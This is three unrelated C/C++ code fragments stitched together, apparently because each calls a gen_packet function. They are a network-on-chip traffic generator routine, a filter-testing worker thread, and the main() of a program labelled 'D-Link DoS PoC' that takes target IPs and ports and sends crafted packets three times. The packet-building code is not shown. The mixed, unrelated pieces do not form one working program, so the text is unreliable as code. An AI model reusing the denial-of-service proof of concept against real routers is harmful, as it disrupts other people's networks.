// since the generator does not take any inputs from other modules we // can do all our work in here: void ocin_gen_bitrev::update() { unsigned src_count = srcs.size(); unsigned dst_idx, src_idx; /* // First figure out how many packets we will generate double selfrand1 = gen_rand(1); unsigned packet_count = (unsigned)((selfrand1*param_adj_inj_bw*(double)src_count*2.0) +.5); // Iterate over each packet and create it for (int x = 0; x <packet_count;x++) { src_idx = random()%src_count; */ for (src_idx=0; src_idx < src_count; src_idx++) { // Roll the dice. double dice = gen_rand(1); if (dice > param_adj_inj_bw) continue; #ifdef DEBUG { stringstream tmp; tmp << "Injecting packet from node :" <<srcs[src_idx].c_str(); ocin_name_debug(name,tmp.str()); } #endif // generate packet ocin_msg * new_msg = gen_packet(srcs[src_idx], src_to_dst[srcs[src_idx]]); // push each flit into the iu's vector int flit_cnt = new_msg->flits.size(); for (int y= 0; y < flit_cnt; y++) { local_iu_ptrs[src_idx]->push_flit(new_msg->flits[y]); } } }
void work_buffer(void* thr_num) { unsigned int index = instance.session_count; GWBUF* fake_ok = gen_packet(PACKET_OK); while(instance.running){ pthread_mutex_lock(&instance.work_mtx); pthread_mutex_unlock(&instance.work_mtx); index = atomic_add(&instance.sess_ind,1); if(instance.running && index < instance.session_count && instance.buff_ind < instance.buffer_count) { struct timespec ts1; ts1.tv_sec = 0; if(instance.head->instance->routeQuery(instance.head->filter, instance.head->session[index], instance.buffer[instance.buff_ind]) == 0){ if(instance.outfile > 0){ const char* msg = "Query returned 0.\n"; write(instance.outfile,msg,strlen(msg)); } } if(instance.tail->instance->clientReply){ instance.tail->instance->clientReply(instance.tail->filter, instance.tail->session[index], fake_ok); } atomic_add(&instance.last_ind,1); ts1.tv_nsec = 1000*instance.rt_delay*1000000; nanosleep(&ts1, NULL); } } gwbuf_free(fake_ok); }
int main (int argc, char **argv) { int i; char *pDST, *pSRC, *device; u_short dPRT = 0; u_short sPRT = 0; pDST = pSRC = device = NULL; while ((i = getopt (argc, argv, "D:d:s:a:b:h")) != EOF) { switch (i) { case 'D': device = optarg; break; case 'd': pDST = optarg; break; case 's': pSRC = optarg; break; case 'a': sPRT = atoi (optarg); break; case 'b': dPRT = atoi (optarg); break; case 'h': usage (argv[0]); break; } } printf ("\n----------------------------------\n"); printf (" -= D-Link DoS PoC =-\n"); printf (" Aaron Portnoy\n"); printf (" deft () thunkers ! net \n"); printf (" silc.thunkers.net, thunkers\n"); printf ("----------------------------------\n"); device ? printf ("\nDevice: \t%s\n", device) : printf ("\nDevice: \t%s\n", DEVICE); pSRC ? printf ("SRC IP: \t%s\n", pSRC) : printf ("SRC IP: \t%s\n", SRC_IP); pDST ? printf ("DST IP: \t%s\n", pDST) : printf ("DST IP: \t%s\n", DST_IP); sPRT ? printf ("SPort: \t\t%d\n", sPRT) : printf ("SPort: \t\t%d\n", SRC_PRT); dPRT ? printf ("DPort: \t\t%d\n\n", dPRT) : printf ("DPort: \t\t%d\n\n", DST_PRT); for (i = 1; i <= 3; i++) gen_packet (device, pSRC, pDST, sPRT, dPRT, i); printf ("\n"); return (EXIT_SUCCESS); }